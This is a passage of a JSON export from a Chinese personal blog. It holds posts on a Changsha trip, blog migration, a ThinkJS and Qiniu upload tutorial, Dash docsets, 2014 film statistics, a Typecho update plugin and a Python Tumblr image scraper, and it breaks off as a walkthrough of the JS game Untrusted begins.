给自己点个赞，哈哈！\n岳麓山上的风景真是不错，空气清新树荫茂密，特别是还有湖南大学中南大学和湖南师范大学三所学府依山而立，更是添加了许多人文气息。去参观了下岳麓书院和爱晚亭。鉴于都是一伙糙汉子，岳麓书院只是在外围观瞻了一下，重点是爱晚亭。爱晚亭附近非常宽敞，非常适合休息聊天。我们在此处玩耍了一翻，并留下了“停车坐爱枫林晚，二月春风似剪刀”的千古名句。\n饭点去小吃一条街排队（没想到出了北京还是要排队）买了据说是最好吃的长沙臭豆腐，不得不说确实非常别致，很少有见到臭豆腐犹如灌汤包一样，外皮酥脆，咬上一口后内部软嫩可口并炸出汁水。去火宫殿吃了好多的小龙虾，谁能想到不沾荤腥的佛教圣地内部竟然是美食的集中营，各种小吃数不胜数，小龙虾吃的我也是回味无穷啊。\n去了长沙就不得不去橘子洲头，不仅仅因为它是世界上最大的内陆州，风景别致，同时也是因为毛主席那首《沁园春·长沙》。“恰同学少年，风华正茂”，想起这句回忆起大家大学时的点点滴滴，感慨颇多。不过毕竟是糙汉子，升华的情感瞬间就融入到牌堆里了，洲上美景再好，也抵不过大家坐在一块畅快的打牌。虽然我输的最惨，不过你们开心就好，哈哈哈哈\u0026hellip;\n吃多了外面就想自己做点吃，好不容易有这么一次机会，大家规定好都要自己秀一手，就着这一桌的美味，我们又畅快的玩起了游戏。吃完又急不可耐的回到宾馆开启血战到底模式，麻将和打牌玩的不亦乐乎。\n就这样大家开心的度过了一个完美的假期，感谢班长一家的招待，我表示玩的开心吃的也很开心。在 大家集体感慨岁月就是杀猪刀的时候，只有我一个人默默的在想：“还好不是我一个人”…哈哈哈哈！\n","count":1040,"date":"2016年09月17日","featuredImage":null,"permalink":"https://imnerd.org/chang-sha-2016.html","summary":"\u003cp\u003e早在月初的时候大家一时兴起说聚一下，结果中秋就来了一场说走就走的旅行。天各一方的人儿们在同一天往相同的地点出发。\u003c/p\u003e\n\u003cimg src=\"https://imnerd.org/assets/migration/blog.imnerd.org/static/upload/201609/O9i-k_XJns-Vb2BOG7Nz0g1a.png\" alt=\"无论天涯海角，都在8111\" style=\"width: 30%;\"\u003e","time":3,"title":"长沙游记"},{"comments":{"data":[650],"errmsg":"","errno":0},"contents":"","count":0,"date":"2016年04月24日","featuredImage":null,"permalink":"https://imnerd.org/guestbook.html","summary":"","time":0,"title":"留言板"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"别院以前一直用的是我三年前开发的静态博客系统 PMBlog。这款程序（确切的说只能叫脚本）我自己还是比较喜欢的，插件主题什么该有的都有。不过这两年维护的时间越发的少了起来，加上最近参与到另一款基于 Node.js 的博客程序 Firekylin 的开发中，遂起了心想把这个静态博客切过来。\nfirekylin 有提供 WXR 导入功能，WXR 是 WordPress eXtend Rss 的简称，基本上可以算是博客程序数据转换的通用格式了。所以我只要把 PMBlog 的数据转换成 WXR 文件就好啦，为此特地将其写成了插件 Export2WXR。将插件拷贝到 plugins 目录下后再次编译会提示下载一个 .xml 文件。下载下来之后直接进入到 Firekylin 后台设置-导入数据将文件导入即可。\n制作插件的过程主要是将数据转换成 XML 的过程，由于用的别人的 wxr 生成代码以及数据的不对应导致转换过程非常颠婆，具体就不多表了。由于之前就使用了 Disqus 的社交评论，新程序的文章地址和原来的略有不同，需要使用 Disqus 的 URL Mapper 工具对原来的文章网址进行重映射，将文章 URL 列表下下来之后用文本编辑器的正则批量替换基本上就能搞定了，这里给一个示例：\nFind: http://blog.imnerd.org/(.+?)$ Replace: http://blog.imnerd.org/$1, http://blog.imnerd.org/post/$1 Disqus 的服务还是比较稳定的，不像之前帮 75team 转多说评论一样，各种导入导出功能失败，批量删除失败，数据太多失败，缓存抽风失败。只能说毕竟在国内，不赚钱的项目是没人管的，以后还是老老实实的用着 Disqus 吧。\n博客程序切过来之后希望能像月影大大那样激发热情高产起来！哈哈！\n","count":551,"date":"2016年03月27日","featuredImage":null,"permalink":"https://imnerd.org/pmblog-2-firekylin.html","summary":"\u003cp\u003e别院以前一直用的是我三年前开发的静态博客系统 \u003ca href=\"https://github.com/lizheming/PMBlog\"\u003ePMBlog\u003c/a\u003e。这款程序（确切的说只能叫脚本）我自己还是比较喜欢的，插件主题什么该有的都有。不过这两年维护的时间越发的少了起来，加上最近参与到另一款基于 Node.js 的博客程序 \u003ca href=\"https://github.com/75team/firekylin\"\u003eFirekylin\u003c/a\u003e 的开发中，遂起了心想把这个静态博客切过来。\u003c/p\u003e\n\u003cp\u003efirekylin 有提供 WXR 导入功能，WXR 是 WordPress eXtend Rss 的简称，基本上可以算是博客程序数据转换的通用格式了。所以我只要把 PMBlog 的数据转换成 WXR 文件就好啦，为此特地将其写成了插件 \u003ca href=\"https://github.com/lizheming/PMBlog/blob/plugins/Export2WXR.php\"\u003eExport2WXR\u003c/a\u003e。将插件拷贝到 \u003ccode\u003eplugins\u003c/code\u003e 目录下后再次编译会提示下载一个 \u003ccode\u003e.xml\u003c/code\u003e 文件。下载下来之后直接进入到 Firekylin 后台\u003ccode\u003e设置-导入数据\u003c/code\u003e将文件导入即可。\u003c/p\u003e","time":2,"title":"PMBlog 转火麒麟"},{"comments":{"data":[19],"errmsg":"","errno":0},"contents":"七牛是提供了 NodeJS 的 SDK 的，这就为我们的使用带来了极大的方便。我们需要知道以下四个信息：\naccess_key, secret_key：可以在 https://portal.qiniu.com/user/key 上获取，如果没有则新建一对密钥。 bucket：对应的是空间名称，如果没有空间则需要新建一个空间。 domain：对应的是空间的域名，可以在 https://portal.qiniu.com/bucket/setting/domain?bucket=你的空间名称 中找到。 有了以上基本信息之后我们就可以在 ThinkJS 的基础上添加七牛图床了！首先我们需要新建一个 ThinkJS 项目，在命令行中执行：\n//如果没有 thinkjs 命令则首先需要 npm install -g thinkjs $ thinkjs new thinkjs-niu --es6 我们可以进入项目根目录安装依赖然后 start 一下，然后访问 http://localhost:8360 就会发现我们的 ThinkJS 项目已经可以正常访问啦！\n$ cd thinkjs-niu $ npm install $ npm start 之前我们说到七牛有自己的 NodeJS SDK，所以下一步我们要先把 SDK 安装上，进入项目根目录后执行：\n$ npm install qiniu --save 将我们在最开始获取到的四个信息配置到 config 里面，打开 src/home/config/config.js 并按照如下所示补充内容：\n\u0026#39;use strict\u0026#39;; /** * config */ export default { //key: value qiniu: { access_key: \u0026#39;你的 access_key\u0026#39;, secret_key: \u0026#39;你的 secret_key\u0026#39;, bucket: \u0026#39;你的空间名称\u0026#39;, domain: \u0026#39;你的空间域名\u0026#39; } }; 补充好后，继续打开 src/home/controller/index.js 并增加如下内容：\n\u0026#39;use strict\u0026#39;; import Base from \u0026#39;./base.js\u0026#39;; import qiniu from \u0026#39;qiniu\u0026#39;; export default class extends Base { /** * index action * @return {Promise} [] */ indexAction(){ let qconfig = this.config(\u0026#39;qiniu\u0026#39;); let putPolicy = new qiniu.rs.PutPolicy( qconfig.bucket ); qiniu.conf.ACCESS_KEY = qconfig.access_key; qiniu.conf.SECRET_KEY = qconfig.secret_key; this.assign({ uptoken: putPolicy.token(), baseUrl: qconfig.domain }); return this.display(); } } 七牛上传图片需要三个关键的东西，一个是根据 key 生成的密钥 token，一个是文件的名称，最后一个当然是文件。通过 new qiniu.rs.PutPolicy(\u0026lt;bucket\u0026gt;).token() 方法我们就可以直接获取到生成的密钥了。这里不得不吐槽一下 qiniu.conf.ACCESS_KEY 和 qiniu.conf.SECRET_KEY 这样的设定，直接在模块上增加属性我也是醉了。最后我们把生成好的 uptoken 和定义的空间域名传入到模板中就 OK 了！\n下面我们开始写我们的模板吧！模板的编写其实非常简单，清空 view/home/index_index.html 文件并添加如下代码：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;ThinkJS Qiniu Demo\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34; action=\u0026#34;http://upload.qiniu.com/\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;key\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;token\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026lt;%=uptoken%\u0026gt;\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;file\u0026#34; type=\u0026#34;file\u0026#34; required/\u0026gt; \u0026lt;button\u0026gt;OK\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 保存后我们访问 http://localhost:8360 就可以进行测试了。选择图片并点击 OK 按钮后会提交文件到七牛的服务器上，七牛会返回类似一下内容的 JSON 字符串：\n{\u0026#34;hash\u0026#34;:\u0026#34;lqRwoZzfZ6_2QHand2ix6AITjOw_\u0026#34;,\u0026#34;key\u0026#34;:\u0026#34;\u0026#34;} 其中 key 就是我们七牛线上保存的文件名，将其与空间域名拼接后就能获取到文件的 URL 地址了。不过此时我们会发现 key 是空的，那是因为我们并没有上传 key，代表着文件名为空。解决办法是在表单提交之前获取 file 控件的值并拿到文件名。同时我们还会发现由于是表单上传所以页面会进行跳转，为了不进行跳转我们必须将表单提交替换为 AJAX 模拟表单提交。按照如下代码修改模板：\n\u0026lt;form method=\u0026#34;post\u0026#34; action=\u0026#34;http://upload.qiniu.com/\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34; onsubmit=\u0026#34;return send();\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;key\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;token\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;\u0026lt;%=uptoken%\u0026gt;\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;file\u0026#34; type=\u0026#34;file\u0026#34; required/\u0026gt; \u0026lt;button\u0026gt;OK\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; /** 设置 key 值为文件名 **/ function setKey() { var key = document.querySelector(\u0026#39;input[name=key]\u0026#39;); var file = document.querySelector(\u0026#39;input[name=file]\u0026#39;); var filename = file.value.match(/[^\\/\\\\]+\\.\\w+$/); if( !filename[0] ) { return false; } key.value = filename[0]; return true; } /** 提交表单上传图片 **/ function send() { var xhr = new XMLHttpRequest(), button = document.querySelector(\u0026#34;button\u0026#34;); xhr.open(\u0026#34;POST\u0026#34;, \u0026#34;http://upload.qiniu.com\u0026#34;, true); xhr.onload = function() { button.removeAttribute(\u0026#34;disabled\u0026#34;); button.innerText = \u0026#34;OK\u0026#34;; var res = JSON.parse( xhr.responseText ); prompt(\u0026#39;你上传的文件地址是：\u0026#39;, \u0026#34;\u0026lt;%=baseUrl%\u0026gt;\u0026#34;+res.key); } button.setAttribute(\u0026#34;disabled\u0026#34;, \u0026#34;disabled\u0026#34;); button.innerText = \u0026#34;正在上传中...\u0026#34;; setKey(); xhr.send(new FormData(document.querySelector(\u0026#34;form\u0026#34;))); return false; } \u0026lt;/script\u0026gt; 动态设置文件名 key，增加 AJAX 表单提交，并在表单提交时修改按钮文字表示正在上传，上传结束之后弹窗提示用户文件的七牛地址。这样整个流程就完美了！本教程完整的示例代码可以从这里下载：百度云 | 云盘（提取码：4fd4）。下载解压 npm install 之后直接 npm start 即可运行。\n","count":1256,"date":"2016年01月18日","featuredImage":null,"permalink":"https://imnerd.org/thinkjs-qiniu.html","summary":"\u003cp\u003e七牛是提供了 NodeJS 的 SDK 的，这就为我们的使用带来了极大的方便。我们需要知道以下四个信息：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eaccess_key\u003c/code\u003e, \u003ccode\u003esecret_key\u003c/code\u003e：可以在 \u003ca href=\"https://portal.qiniu.com/user/key\"\u003ehttps://portal.qiniu.com/user/key\u003c/a\u003e 上获取，如果没有则新建一对密钥。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebucket\u003c/code\u003e：对应的是空间名称，如果没有空间则需要新建一个空间。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edomain\u003c/code\u003e：对应的是空间的域名，可以在 \u003ca href=\"https://portal.qiniu.com/bucket/setting/domain?bucket=%E4%BD%A0%E7%9A%84%E7%A9%BA%E9%97%B4%E5%90%8D%E7%A7%B0\"\u003ehttps://portal.qiniu.com/bucket/setting/domain?bucket=你的空间名称\u003c/a\u003e 中找到。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e有了以上基本信息之后我们就可以在 ThinkJS 的基础上添加七牛图床了！首先我们需要新建一个 ThinkJS 项目，在命令行中执行：\u003c/p\u003e","time":3,"title":"史上最简单的 ThinkJS 七牛教程"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"最近一直在倒腾 ThinkJS 有关的东西，就思瞅参照着官方给的示例做了它的 Dash 离线文档。看了下官方给的示例，无非就是用脚本将所有文档页面抓取下来然后生成检索数据库，还算是颇为简单。\n抓取文档的脚本我已经开源放在了 Github 上：https://github.com/lizheming/dash-thinkjs ，欢迎大家 star 及 fork。脚本不长，主要是使用了 wget 下载文档，sqlite-sync 模块来操作索引数据库，并使用 cheerio 来修改页面结构。\n为了让用户安装更方便，我将其推送到了官方源中。按照 https://github.com/Kapeli/Dash-User-Contributions#contribute-a-new-docset 所描述的规定生成好文件后很快就被作者给合并了，不得不赞一下作者的高效！\n不过比较遗憾的是目前官方源中只能推送英文版的文档，中文版的文档被认定为非所有人都能受益的文档而不被允许提交。如果要支持快速安装中文版的文档的话只能自行维护源。将文档添加到源中最大的好处是，如果用户通过源安装的话可以非常方便的更新文档。\n安装 Mac 英文版的安装非常简单，在 Downloads 页面左侧选择 User Contributed 然后搜索 ThinkJS 即可，如图所示：\n中文版的安装也不复杂，你只需要在 Mac 下点击 ThinkJS 中文离线文档源 该链接即会打开 Dash 并自动添加文档源。选择 Download 即可完成安装过程，非常方便！\nWindows 虽然说只是针对 Dash 制作的离线文档，但是也并不是说 Windows 下就完全用不了了。Zeal 是一款跨平台兼容 Dash 文档的开源离线文档阅读器，使用它我们就可以非常方便的在 Windows 下使用 Dash 的离线文档了。既然是跨平台当然也是支持 Mac 的，但是为了避免在 Mac 平台下与 Dash 产生竞争关系，官方的安装包下载链接中并没有给出 Mac 版本的，不过想要在 Mac 下使用的可以自行编译，对于觉得 Dash 付费较贵而又想使用离线阅读功能的用户来说，是不可多得的方案。\n在 Zeal Options 的 Docset 选项卡下点击 Add feed 按钮后输入 http://d.eming.li/ThinkJS.xml 后点击 OK 稍带片刻后就 Zeal 就会自动帮我们安装上文档啦，非常方便！\n","count":724,"date":"2016年01月11日","featuredImage":null,"permalink":"https://imnerd.org/dash-thinkjs.html","summary":"\u003cp\u003e最近一直在倒腾 ThinkJS 有关的东西，就思瞅参照着官方给的示例做了它的 Dash 离线文档。看了下官方给的示例，无非就是用脚本将所有文档页面抓取下来然后生成检索数据库，还算是颇为简单。\u003c/p\u003e","time":2,"title":"ThinkJS Dash 离线文档"},{"comments":{"data":[22],"errmsg":"","errno":0},"contents":"\r![2014-电影][1]\r","count":13,"date":"2015年01月04日","featuredImage":null,"permalink":"https://imnerd.org/2014-film.html","summary":"\u003cdiv id=\"column\"\u003e\u003c/div\u003e\u003cdiv id=\"pie\"\u003e\u003c/div\u003e\u003cscript type=\"text/javascript\" src=\"https://lib.sinaapp.com/js/highcharts/2.3.5/highcharts.js\"\u003e\u003c/script\u003e\u003cscript\u003efunction setChart(name, categories, data, color) {\r\n        chart.xAxis[0].setCategories(categories, false);\r\n        chart.series[0].remove(false);\r\n        chart.addSeries({\r\n            name: name,  \r\n            data: data,\r\n            color: color\r\n        },\r\n        false);\r\n        chart.redraw()\r\n    }chart = new Highcharts.Chart({    chart: {        renderTo: 'column',        type: 'column'    },    title: {        text: '2014年你一共看过153部电影'    },    xAxis: {        categories: [\"一月\",\"二月\",\"三月\",\"四月\",\"五月\",\"六月\",\"七月\",\"八月\",\"九月\",\"十月\",\"十一月\",\"十二月\"]    },    yAxis: {        title: {text: '数量（部）'}    },    plotOptions: {        column: {            cursor: 'pointer',            point: {                events: {                    click: function() {                        var drilldown = this.drilldown;                        if (drilldown) {                            setChart(drilldown.name, drilldown.categories, drilldown.data, drilldown.color)                        } else {                            setChart(name, categories, res, colors[0])                        }                    }                }            },            dataLabels: {                enabled: true,                formatter: function() {                    return this.y                }            }        }    },    tooltip: {        formatter: function() {            var point = this.point,            s = this.x + ': ' + this.y + '部\u003cbr/\u003e';            s += point.drilldown ? '单击查看' + point.category + '详情' : '返回月份总览';            return s;        }    },    series: [{        name: '电影',        data: [{\"y\":8,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"一月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,1,0,0,0,1,0,0,1,0],\"color\":\"#7cb5ec\"}},{\"y\":12,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"二月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],\"data\":[0,0,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,2,2,0,1,1,0,0],\"color\":\"#7cb5ec\"}},{\"y\":15,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"三月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,1,0,0,0,1,1,2,0,1,0,0,0,0,2,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1],\"color\":\"#7cb5ec\"}},{\"y\":6,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"四月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],\"data\":[0,0,0,2,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0],\"color\":\"#7cb5ec\"}},{\"y\":9,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"五月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,1,0,3],\"color\":\"#7cb5ec\"}},{\"y\":5,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"六月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],\"data\":[1,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0],\"color\":\"#7cb5ec\"}},{\"y\":22,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"七月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,2,0,0,2,0,0,1,1,0,1,0,1,0,0,1,1,1,5,0,1,1,0,1,0,0,0,0,0,1,2],\"color\":\"#7cb5ec\"}},{\"y\":14,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"八月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,0,0,0,0,0,1,3,4,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0],\"color\":\"#7cb5ec\"}},{\"y\":8,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"九月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],\"data\":[0,1,1,1,2,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\"color\":\"#7cb5ec\"}},{\"y\":35,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"十月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,0,11,2,1,2,0,0,0,0,1,3,3,2,1,1,1,1,0,0,2,0,0,2,1,0,0,0,1,0,0],\"color\":\"#7cb5ec\"}},{\"y\":8,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"十一月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30],\"data\":[0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,2,0,0,1,0,0],\"color\":\"#7cb5ec\"}},{\"y\":11,\"color\":\"#7cb5ec\",\"drilldown\":{\"name\":\"十二月\",\"categories\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31],\"data\":[0,0,0,0,0,1,0,1,0,0,0,0,2,1,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0],\"color\":\"#7cb5ec\"}}],        color: '#7cb5ec'    }],    exporting: {        enabled: true    }});chart2 = new Highcharts.Chart({   chart: {        renderTo: 'pie',        plotBackgroundColor: null,        plotBorderWidth: null,        plotShadow: false   },   title: {        text: '评分分布'   },   tooltip: {        pointFormat: '',        percentageDecimals: 0   },   plotOptions: {        pie: {            allowPointSelect: true,            cursor: 'pointer',            dataLabels: {                enabled: true,                color: '#000000',                connectorColor: '#000000',                formatter: function() {                    return '\u003cb\u003e' + this.point.name + '\u003c/b\u003e: ' + Math.round(this.percentage) + ' %'                }            }        }   },   series: [{        type: 'pie',        name: '数量',        data: [['无', 0], ['1星', 2], ['2星', 12], ['3星', 96], ['4星', 39], ['5星', 4]]   }]});$('body').on('click', '#command span', function(e){var n = parseInt($(this).attr('class'));$('#command .click').removeClass('click');if(n != 0) {for(i=0;i\u003c6;i++) $('#msh .'+i).css('display', 'none');$('#command .'+n).addClass('click');$('#msh .'+n).css('display', 'inline-table');} else {$('#command .0').addClass('click');for(i=0;i\u003c6;i++) $('#msh .'+i).css('display', 'inline-table');}});\u003c/script\u003e\r\n\u003c!-- m o r e --\u003e\r\n![2014-电影][1]","time":1,"title":"2014年小结之电影全纪录"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"是不是已经厌烦了Typecho每次升级还得开FTP覆盖文件了呢？好消息来了！为了解决这无比蛋疼的问题，Update插件正式上线了！没有复杂的配置没有复杂的选项，只要开启插件就行了！只要开启插件就行了!(等下，一股浓浓的电视购物风是什么情况Σ(っ °Д °;)っ)\n当程序检测到新版的时候会在控制台首页增加一个链接，点击更新就可以了！一击解决Typecho多年蛋疼问题！\n另外比较温馨的是程序会备份Typecho程序目录下的所有文件（备份文件夹位于插件目录下的backup文件夹），所以你也不必担心升级扑街神马的，如果失败了再把备份文件还原一下就好啦！yeah，就是这么简单！\np.s. 我是不会和大家说为了攒这个插件忍着一个月没升级我的Typecho的→_→\u0026hellip;\n鉴于有一些人因为服务器文件夹权限等问题导致更新失败，本插件更新至 0.0.2 版本，为每一个过程增加了较为详细的错误信息提示。\n下载地址：Box | 百度云\n","count":397,"date":"2014年10月17日","featuredImage":null,"permalink":"https://imnerd.org/update-plugin-for-typecho.html","summary":"\u003cp\u003e是不是已经厌烦了Typecho每次升级还得开FTP覆盖文件了呢？好消息来了！为了解决这无比蛋疼的问题，Update插件正式上线了！没有复杂的配置没有复杂的选项，只要开启插件就行了！只要开启插件就行了!(等下，一股浓浓的电视购物风是什么情况Σ(っ °Д °;)っ)\u003cbr\u003e\n当程序检测到新版的时候会在控制台首页增加一个链接，点击更新就可以了！一击解决Typecho多年蛋疼问题！\u003c/p\u003e","time":1,"title":"Typecho在线升级插件 - Update 0.0.2"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":"好久没更新了，这两天把Editor在线编辑器重写了一下，之前的bug似乎不复存在了，当然新的bug在所难免。我会继续努力的 —via iPhone\n","count":66,"date":"2014年08月11日","featuredImage":null,"permalink":"https://imnerd.org/1407739338342.html","summary":"\u003cp\u003e好久没更新了，这两天把Editor在线编辑器重写了一下，之前的bug似乎不复存在了，当然新的bug在所难免。我会继续努力的 —via iPhone\u003c/p\u003e","time":1,"title":"好久没更新了"},{"comments":{"data":[25],"errmsg":"","errno":0},"contents":"前言 前几天闲着无聊没事（其实是一大堆事摆在面前作死不愿意做）把Python的入门教程又看了一遍，感觉这样做好没有效率啊，遂想拿个东西练练手。Python做好的练手项目就是爬虫了（我也不知道从哪里看到的，反正就有这么一说），正好前两天看了Tumblr的一个图片博客，然后网速渣到爆表，遂想干脆给整站图片都抓下来好了。\n说干就干篇 基本的思路非常简单啦，无非就是把页面抓下来然后解析里面的IMG标签得到图片地址最后下载下来就好叻。感谢Tumblr没有对IP访问频率进行限制让我少做了不少工作，ありがとう~\n首先要说明Python版本啦，我的版本是Python3.4.1，对2.x不兼容。不过索性代码也非常的简单，无非就是urllib库的问题，稍加修改也是可以转换过去的，这个我就不多表述啦。另外就是我的代码是以http://triketora.tumblr.com/这个博客为基准的，因为每个博客的DOM标签可能都不太一样，所以没法做到代码通用，需要根据博客的主题做相应的修改。\n页面的抓取我是直接用的urllib.request库，简单粗暴而且非常有效。页面DOM的解析我使用的当然是大名鼎鼎的BeautifulSoup了。至于BeautifulSoup的安装同样不多做表述，其中文文档可参见Beautiful Soup 4.2.0 文档。至于最后一步的图片下载我使用的是urllib.request.urlretrieve函数，这函数简直就是爬虫利器啊有么有，简单快捷高效的就把图片给抓取下来了，简直好顶赞！\n实战代码篇 #! /usr/bin/python3 import os, sys, urllib from urllib import request, parse from bs4 import BeautifulSoup def basename(url): return os.path.basename(parse.urlparse(url).path) def download(url, file): \u0026#39;\u0026#39;\u0026#39;download file\u0026#39;\u0026#39;\u0026#39; colWidth = 50 __perLen = 0 def reporthook(a, b, c): nonlocal __perLen per = (100*a*b)/c if per\u0026gt;100: per=100 realCol = int(per/100 * colWidth) down = \u0026#39;=\u0026#39;*(realCol-1) undown = \u0026#39; \u0026#39;*(colWidth-realCol) process = \u0026#39;[\u0026#39;+down+\u0026#39;\u0026gt;\u0026#39;+undown+\u0026#39;]\u0026#39; per = \u0026#39;{:.2f}%\u0026#39;.format(per) print(\u0026#39;\\b\u0026#39;*__perLen, per+\u0026#39; \u0026#39;+process, end=\u0026#39; \u0026#39;, flush=True) __perLen = len(per)+len(process)+4 print(\u0026#39;Downloading URL File:\\t%s\u0026#39; % (url)) urllib.request.urlretrieve(url, file, reporthook) print(\u0026#39;Downloaded!\u0026#39;) def downImages(post): for image in post.find_all(\u0026#39;img\u0026#39;): filename = basename(image[\u0026#39;src\u0026#39;]) if(os.path.exists(filename)): print(filename+\u0026#39; exists!\u0026#39;) continue download(image[\u0026#39;src\u0026#39;], filename) def spider(url): global start print(\u0026#34;It has ready to parse URL: \u0026#34;+url) html = BeautifulSoup( request.urlopen(url).read() ) for post in html.select(\u0026#34;.post\u0026#34;): iframe = post.find(\u0026#39;iframe\u0026#39;) if(iframe): if \u0026#39;photoset\u0026#39; not in iframe[\u0026#39;class\u0026#39;]: continue #! True Video Post iframe = BeautifulSoup( request.urlopen(iframe[\u0026#39;src\u0026#39;]).read() ) downImages(iframe) else: downImages(post) start += 1 spider(\u0026#39;%s/page/%d\u0026#39; % (URL, start)) if(len(sys.argv) \u0026lt;= 1): sys.exit(\u0026#39;no tumblr blog url\u0026#39;) _, URL, *start = sys.argv start = int( start[0] if len(start)\u0026gt;0 else 1 ) spider(\u0026#39;%s/page/%d\u0026#39; % (URL, start)) HOW TO USE? 首先保证你安装了Python3，以及BeautifulSoup库，复制以上代码到Spider.py文件。然后命令行输入：\nPython3 Spider.py http://triketora.tumblr.com/ 你还可以指定起始下载页数，比如：\nPython3 Spider.py http://triketora.tumblr.com/ 30 将会从第30页开始下载。\n友情提示 默认下载的地方是Spider.py的同级目录，所以找个大点的位置放它哦。\n作者有话说之还不能完结篇 怎么说呢，这是我写的第一个Python爬虫代码，甚至是第一个真正意义上的Python代码，所以看起来会有点糙啦，欢迎各位吐槽。而且如何做到代码通用也是一个让我值得思考的问题，目前的思路颇为烦恼啊。\n以上！\n","count":1063,"date":"2014年06月15日","featuredImage":null,"permalink":"https://imnerd.org/tumblr-blog-all-photo-download.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e前几天闲着无聊没事（其实是一大堆事摆在面前作死不愿意做）把Python的入门教程又看了一遍，感觉这样做好没有效率啊，遂想拿个东西练练手。Python做好的练手项目就是爬虫了（我也不知道从哪里看到的，反正就有这么一说），正好前两天看了Tumblr的一个图片博客，然后网速渣到爆表，遂想干脆给整站图片都抓下来好了。\u003c/p\u003e","time":3,"title":"Tumblr整站图片下载"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"今天早上刷微博的时候看到 @fakefish 分享了一个游戏微博，游戏的名字叫做《Untrusted》，通过修改JS代码来通关的游戏，作者把游戏代码托管在了Github上，游戏地址在 http://alexnisnevich.github.io/untrusted/ 。\nLevel 1 这关简单，移动玩家对象@先拾取⌘然后移动到出口就好了。\nLevel 2 这关看着挺吓人的，路都被#号给各种拦着了，但是其实读一下代码发现也就那么回事。13行的new ROT.Map.DividedMaze(map.getWidth(), 